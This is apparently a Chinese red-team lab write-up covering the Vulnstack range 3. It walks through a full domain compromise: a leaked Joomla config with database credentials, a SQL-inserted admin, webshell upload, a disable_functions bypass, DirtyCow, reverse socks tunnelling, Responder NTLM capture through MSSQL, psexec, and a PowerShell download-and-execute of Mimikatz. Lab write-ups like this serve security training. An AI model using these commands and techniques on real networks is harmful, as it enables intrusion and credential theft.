0%

红队测试系列学习笔记-Vlunstack实战靶场3

写在前面

首先检讨,最近在搞哈医科同学的项目,故好几周没得更新了。明天抽点时间,终于把这篇挤出来了 = =

信息搜集

靶机下载地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

目前已知信息就一个ip地址

http://192.168.1.6/

貌似是个博客。那么探测下cms,方法有很多,这里直接用Wappalyzer看了,是joomla

1.jpg

http://192.168.1.6/README.txt

看了下readme文件,版本是3.x ,上msf一把梭,看看版本,蛮新的。

Joomla version: 3.9.12

2.jpg

http://192.168.1.6/1.php

扫到的phpinfo,先放着。

3.jpg

回到joomla 扫一下吧

cms result.jpg

GETSHELL

有个备份 down下来 内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
class JConfig {
public $offline = '0';
public $offline_message = '网站正在维护。<br /> 请稍候访问。';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'test';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $debug_lang_const = '1';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
public $db = 'joomla';
public $dbprefix = 'am2zu_';
public $live_site = '';
public $secret = 'gXN9Wbpk7ef3A4Ys';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{major}{minor}:{keyref}&lang={langcode}';
public $ftp_host = '';
public $ftp_port = '';
public $ftp_user = '';
public $ftp_pass = '';
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailonline = '1';
public $mailer = 'mail';
public $mailfrom = 'test@test.com';
public $fromname = 'test';
public $sendmail = '/usr/sbin/sendmail';
public $smtpauth = '0';
public $smtpuser = '';
public $smtppass = '';
public $smtphost = 'localhost';
public $smtpsecure = 'none';
public $smtpport = '25';
public $caching = '0';
public $cache_handler = 'file';
public $cachetime = '15';
public $cache_platformprefix = '0';
public $MetaDesc = '';
public $MetaKeys = '';
public $MetaTitle = '1';
public $MetaAuthor = '1';
public $MetaVersion = '0';
public $robots = '';
public $sef = '1';
public $sef_rewrite = '0';
public $sef_suffix = '0';
public $unicodeslugs = '0';
public $feed_limit = '10';
public $feed_email = 'none';
public $log_path = '/var/www/html/administrator/logs';
public $tmp_path = '/var/www/html/tmp';
public $lifetime = '15';
public $session_handler = 'database';
public $shared_session = '0';
}

得到MySQL账号:testuser 密码:cvcvgjASD!@

扫下端口 尝试连接数据库

mysql.jpg

3306开着的,用刚刚我们得到的账号连接。

连接上了 权限很低,写不了shell,而且看了下版本,貌似也没办法提权..

从数据库入手

网站的数据库权限有了,换个思路,网上搜了搜,可以通过添加管理员账号来拿下后台权限,那去康康Joomla的官方文档,添加一个管理员账号。

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

添加CMS管理员账号

执行如下SQL语句,即可添加一个用户名为admin2,密码为secret的管理员

1
2
3
4
5
6
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

如下图所示

用户添加成功.jpg

拿到了后台的权限,针对Joomla的话,getshell思路大概是这样的

​ 1.下载插件包,解压

​ 2.修改install.xml,添加自己的马儿进去

​ 3.打包,上传,安装插件

这里我选择了一个语言包,按照上面的思路打包上传

shell地址

http://192.168.1.6/administrator/language/zh-CN/conf.php

连接。

PHP 7.1.X绕过disabled_functions

getshelled.jpg

直接命令执行无果,看了下disabled_functions,禁用了命令执行相关的函数,好在php的版本是可以绕过disabled_functions的,方法有很多,这里图方便直接上蚁剑自带的。

PHP7 GC with Certain Destructors UAF

www-data.jpg

成了,基本信息如下

用户名:www-data

uname -a:Linux ubuntu 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

这里直接用这个用户尝试直接反弹了下shell未果,遂看了下ip addr(应该先看ip addr的)

1
2
3
4
5
6
7
8
9
10
11
12
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:ab:32:ac brd ff:ff:ff:ff:ff:ff
inet 192.168.93.120/24 brd 192.168.93.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:feab:32ac/64 scope link
valid_lft forever preferred_lft forever

果然 = = 是台纯内网的机器,说明我们拿到shell的机器才是Joomla的服务器,而向外网开放的应该只是台反代。

横向移动

首先传个简单的脚本上去简单探测下内网的机器,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PING 192.168.93.10 (192.168.93.10) 56(84) bytes of data.
64 bytes from 192.168.93.10: icmp_seq=1 ttl=128 time=0.219 ms
--- 192.168.93.10 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.219/0.219/0.219/0.000 ms

PING 192.168.93.20 (192.168.93.20) 56(84) bytes of data.
64 bytes from 192.168.93.20: icmp_seq=1 ttl=128 time=0.365 ms
--- 192.168.93.20 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.365/0.365/0.365/0.000 ms

PING 192.168.93.30 (192.168.93.30) 56(84) bytes of data.
64 bytes from 192.168.93.30: icmp_seq=1 ttl=128 time=0.284 ms
--- 192.168.93.30 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.284/0.284/0.284/0.000 ms

PING 192.168.93.100 (192.168.93.100) 56(84) bytes of data.
64 bytes from 192.168.93.100: icmp_seq=1 ttl=64 time=0.196 ms
--- 192.168.93.100 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.196/0.196/0.196/0.000 ms

交互的shell不太稳定,有时候会出现没有回显的情况。跟着提示走,找找敏感文件好了。

tmp.jpg

获取到test.txt内容如下:

wwwuser.png

adduser wwwuser
passwd wwwuser_123Aqx

获取Linux反代的Beacon Shell

用这个密码尝试SSH连接下对外网开放的反代。

连接上了,为了方便横向移动,用crossC2把他变成Linux Beacon Shell,直接在cs里面操作,步骤如下

  • https Listener

  • 使用crossC2生成可执行文件

  • 丢到目标机器上运行(这里因为拿到了网站服务器shell,上传可执行文件后,反代机器wget运行即可)
运行.jpg

与此同时我们的cs上线辽。

看下内核版本

core.jpg

Linux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

可以用DirtyCow一把梭。

提权成功

rooted.jpg

root权限账号:firefart 密码:my-new-password

同时以root权限上线cs

继续内网探测

至此,来整理下已经得到的信息,方便继续扩大权限,

  • 反代机器

    外网IP:192.168.1.6(下文可能是1.11 因为路由器重启了,dhcp给重新分配了IP地址 = =)

    内网IP:192.168.93.100

    已知用户名:wwwuser 密码:wwwuser_123Aqx

    root权限账号:firefart 密码:my-new-password

    已获得Beacn shell

  • 网站服务器

    内网IP:192.168.93.120

    webshell

    MySQL账号:testuser
    密码:cvcvgjASD!@

    内核版本较新

由于反代机器可以同时访问内外网,且内核版本较旧,故将其定为接下来的方向。

获取内网拓扑

用Trim师傅的ServerScan进行扫描,得到内网机器的扫描结果如下(这里只扫描80端口)

内网机器.jpg

如上图所示,在线的机器看起来有6台,再来扫描下具体开放的端口

192.168.93.10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(ICMP) Target '192.168.93.10' is alive
192.168.93.10:53
192.168.93.10:88
192.168.93.10:135
192.168.93.10:139
192.168.93.10:389
192.168.93.10:445
192.168.93.10:464
192.168.93.10:593
192.168.93.10:636
192.168.93.10:3268
192.168.93.10:3269
192.168.93.10:5985
192.168.93.10:9389
192.168.93.10:636 (unknown)
192.168.93.10:3269 (unknown)
192.168.93.10:593 (Microsoft Windows RPC over HTTP - ncacn_http - ncacn_http/1.0 - 1.0)
192.168.93.10:139 (unknown)
192.168.93.10:9389 (.NET Message Framing - mc-nmf - Ihttp://schemas.microsoft.com/ws/2006/05/framing/faults/UnsupportedVersion)
192.168.93.10:445 (Microsoft Windows 2003 or 2008 microsoft-ds - microsoft-ds - hostname: WIN-8GA56TNV3MV domain: TEST)
192.168.93.10:88 (Apache Spark - spark)
192.168.93.10:5985 (Microsoft-HTTPAPI/2.0 - Microsoft HTTPAPI httpd - 2.0 - Not Found Not Found HTTP Error...)
192.168.93.10:389 (Microsoft Windows Active Directory LDAP)
192.168.93.10:464 (unknown)
192.168.93.10:53 (unknown - .version bind.)
192.168.93.10:135 (Microsoft Windows RPC - msrpc)

192.168.93.20

1
2
3
4
5
6
7
8
9
10
11
12
13
(ICMP) Target '192.168.93.20' is alive
192.168.93.20:80
192.168.93.20:139
192.168.93.20:135
192.168.93.20:445
192.168.93.20:1433
192.168.93.20:2383
192.168.93.20:139 (unknown)
192.168.93.20:445 (Microsoft Windows 2003 or 2008 microsoft-ds - microsoft-ds - hostname: WIN2008 domain: TEST)
192.168.93.20:80 (Microsoft-HTTPAPI/2.0 - Microsoft HTTPAPI httpd - 2.0 - Not Found Not Found HTTP Error...)
192.168.93.20:135 (Microsoft Windows RPC - msrpc)
192.168.93.20:1433 (Microsoft SQL Server 2008 - ms-sql-s - .%.@. - 10.00.1600; RTM)
192.168.93.20:2383 (unknown)

192.168.93.30

1
2
3
4
5
6
7
(ICMP) Target '192.168.93.30' is alive
192.168.93.30:135
192.168.93.30:139
192.168.93.30:445
192.168.93.30:139 (unknown)
192.168.93.30:445 (Microsoft Windows 2003 or 2008 microsoft-ds - microsoft-ds - hostname: WIN7 domain: TEST)
192.168.93.30:135 (Microsoft Windows RPC - msrpc)

192.168.93.100

1
2
3
4
5
6
7
(ICMP) Target '192.168.93.100' is alive
192.168.93.100:22
192.168.93.100:80
192.168.93.100:3306
192.168.93.100:3306 (MySQL - mysql - [.5.7.27-0ubuntu0.16.04.1 i.[! 0O!Df.wGd & 5.f8.mysql_native_password - 5.7.27-0ubuntu0.16.04.1)
192.168.93.100:22 (OpenSSH - ssh - SSH-2.0-OpenSSH_5.3. - 5.3)
192.168.93.100:80 (nginx/1.9.4 - nginx - 1.9.4 - Home test Search ... Toggle Na...)

192.168.93.120

1
2
3
4
5
6
7
(ICMP) Target '192.168.93.120' is alive
192.168.93.120:22
192.168.93.120:80
192.168.93.120:3306
192.168.93.120:22 (OpenSSH - ssh - SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8. - 7.2p2 Ubuntu 4ubuntu2.8)
192.168.93.120:3306 (MySQL - mysql - [.5.7.27-0ubuntu0.16.04.1 m.Z 7 ":^.,JOQo"XzDq&a mysql_native_password - 5.7.27-0ubuntu0.16.04.1)
192.168.93.120:80 (Apache/2.4.18 (Ubuntu) - Home test Search ... Toggle Na...)

现在基本上有个比较清晰的内网拓扑了,如下图所示(0202年了,Visio做的AD图还是这么丑)

绘图1.jpg

代理进入内网拿域控

反代机器上编译运行ssocks 开启socks5代理(也可直接用cs自带的)

先在攻击机上运行

1
./rcsocks -l 1088 -p 1080 -vv

用于接收反代机器转发的流量,并且在本地1088端口运行socks服务

之后在反代机器上使用rssocks向攻击机器反弹内网流量

1
./rssocks -vv -s 192.168.1.15:1080

建立连接.jpg

代理进入内网后,根据我们收集到的信息和内网拓扑,尝试攻击。

192.168.93.20 这台08机器,开了1433端口(MSSQL),故尝试从这里入手。

尝试之前获取到的MySQL用户:testuser密码:cvcvgjASD!@

使用同样的账号密码可以成功连接192.168.93.20的MSSQL

尝试使用Responder对LLMNR和NBT-NS请求进行投毒,利用mssql调用xp_dirtree,获取NTLMv2哈希。

首先使用获取到的webshell上传Responder到网站服务器,root权限ssh连接反代机器,

反代机器运行Responder进行监听(Python2.7+)

1
python Responder.py -I eth1 -rv

监听.jpg

攻击机代理开启msf,调用mssql_ntlm_stealer触发UNC

unc.jpg

与此同时,Responder获取到hash,开膛手破解得到密码

123qwe!ASD

  • 192.168.93.20 WIN2008 Administrator 123qwe!ASD

(这里也可以不破解,直接选择用MultiRelay转发也可)

得到了win2008的凭据,使用psexec登陆尝试获取域内其他机器的hash

使用Impacket for Psexec.py 通过SMB命令执行

1
proxychains ./psexec.py 'Administrator:123qwe!ASD@192.168.93.20'
shell.jpg

接下来就是dump域内用户凭据了。

获取域内用户凭据

两种办法运行mimikatz

直接ps加载Mimikatz

将Invoke-Mimikatz.ps1通过webshell上传至192.168.93.100

1
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.93.100/1.ps1');Invoke-Mimikatz

(这里直接下载执行的话,我这里psexec.py会卡住..所以实际上我是先下载,再执行的)

1
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.93.100/1.ps1','1.ps1')
1
powershell -exec bypass "import-module .\1.ps1;Invoke-Mimikatz"

运行无交互Mimikatz

同样的办法上传exe运行即可

域控账号密码.jpg

啊哈,出来了,直接登陆域控主机getflag即可

getflag.jpg